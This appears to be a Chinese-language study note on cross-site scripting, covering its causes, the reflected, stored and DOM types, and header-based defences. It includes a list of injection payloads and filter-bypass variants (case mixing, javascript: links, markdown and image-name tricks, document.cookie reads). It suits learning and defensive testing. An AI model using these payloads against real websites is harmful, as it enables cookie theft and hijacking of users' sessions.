0x0 WHAT-什么是XSS

        XSS全称为Cross Site Scripting,为了和CSS分开简写为XSS,中文名为跨站脚本。该漏洞发生在用户端,是指在渲染过程中发生了不在预期过程中的JavaScript代码执行。XSS通常被用于获取Cookie、以受攻击者的身份进行操作等行为。

  • XSS的成因:服务器没有对用户的输入做过滤,利用的是浏览器会自动执行服务器发来的JS代码
  • XSS的常见的了用方式:盗取cooike,流量劫持(让用户一直访问某个网站),攻击者通过CSRF等方式以用户身份执行危险操作
  • 判断方式:留言板

0x1 WHY-XSS产生的成因

  • 开发者没有对用户输入的信息做过滤,从而导致了用户可以输入恶意JS代码使浏览器执行

0x2 HOW-XSS的分类

0x2.1 反射型XSS

一般需要配合CSRF

  • 反射型XSS通常出现在搜索等功能中,需要被攻击者点击对应的链接才能触发,且受到XSS Auditor、NoScript等防御手段的影响较大。

0X2.2 存储型XSS

存在服务器端

  • 存储型XSS属于高危漏洞,攻击者能够把攻击载荷存入服务器的数据库中,造成持久化的攻击。

0x2.3 dom型XSS

  • DOM型XSS不同之处在于DOM型XSS一般和服务器的解析响应没有直接关系,而是在JavaScript脚本动态执行的过程中产生的。

0x2.4 姿势

  1. 普通弹窗
    • http://localhost:8080/helloController/search?name=<script>alert("hey!")</script>
    • http://localhost:8080/helloController/search?name=<img src='w.123' onerror='alert("hey!")'>
    • http://localhost:8080/helloController/search?name=<a onclick='alert("hey!")'>点我</a>
  2. 图片诱导
    • < img onclick="window.location.href='http://www.baidu.com'" width='300' src='img/webwxgetmsgimg.jpg'/>
  3. 流量劫持
    • <script>window.location.href="http://www.baidu.com";</script>
  4. 盗取cooike
    • 借用XSS平台生成恶意链接

0x2.5 绕过姿势

  1. 大小写绕过
    1. <sCrIpT>alert(1)</sCrIpT>
    2. <iMg src=1 oNeRrOr=alert(1)>
    3. <marquee onscroll=alert(1)>
  2. 多种alert
    1. <script>alert(1)</script>
    2. <script>prompt(1)</script>
    3. <script>top["al"+"ert"](1)</script>
  3. 伪协议绕过
    1. <a href=javascript:/0/,alert(%22M%22)>M</a>
    2. <a href=javascript:/M/,alert(%22M%22)>M</a>
  4. 图片名绕过
    1. "><img src=x onerror=alert(document.cookie)>.gif
  5. markdown绕过
    1. ![a'"onerror=prompt(document.cookie)](x)
    2. ![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgveHNzLyk8L3NjcmlwdD4=)

更多请点击此处
markdown语法下的:盗取COOike,XSS例子

0x3 防护手段

  1. HTML过滤,使用一些白名单或者黑名单来过滤用户输入的html
  2. X-Frame:利用X-Frame-Options响应头
    1. DENY:页面不能嵌入到任何iframe或者frame中
    2. SAMEORIGIN:页面只能被本站页面嵌入
    3. ALLOW-FROM:允许iframe或者frame加载
  3. XSS保护头:利用X-XSS-Protection来进行保护
    1. 0 : 表示关闭浏览器的XSS防护机制
    2. 1 : 删除检测到的恶意代码, 如果响应报文中没有看到 X-XSS-Protection 字段,那么浏览器就认为X-XSS-Protection配置为1,这是浏览器的默认设置
    3. 1; mode=block : 如果检测到恶意代码,在不渲染恶意代码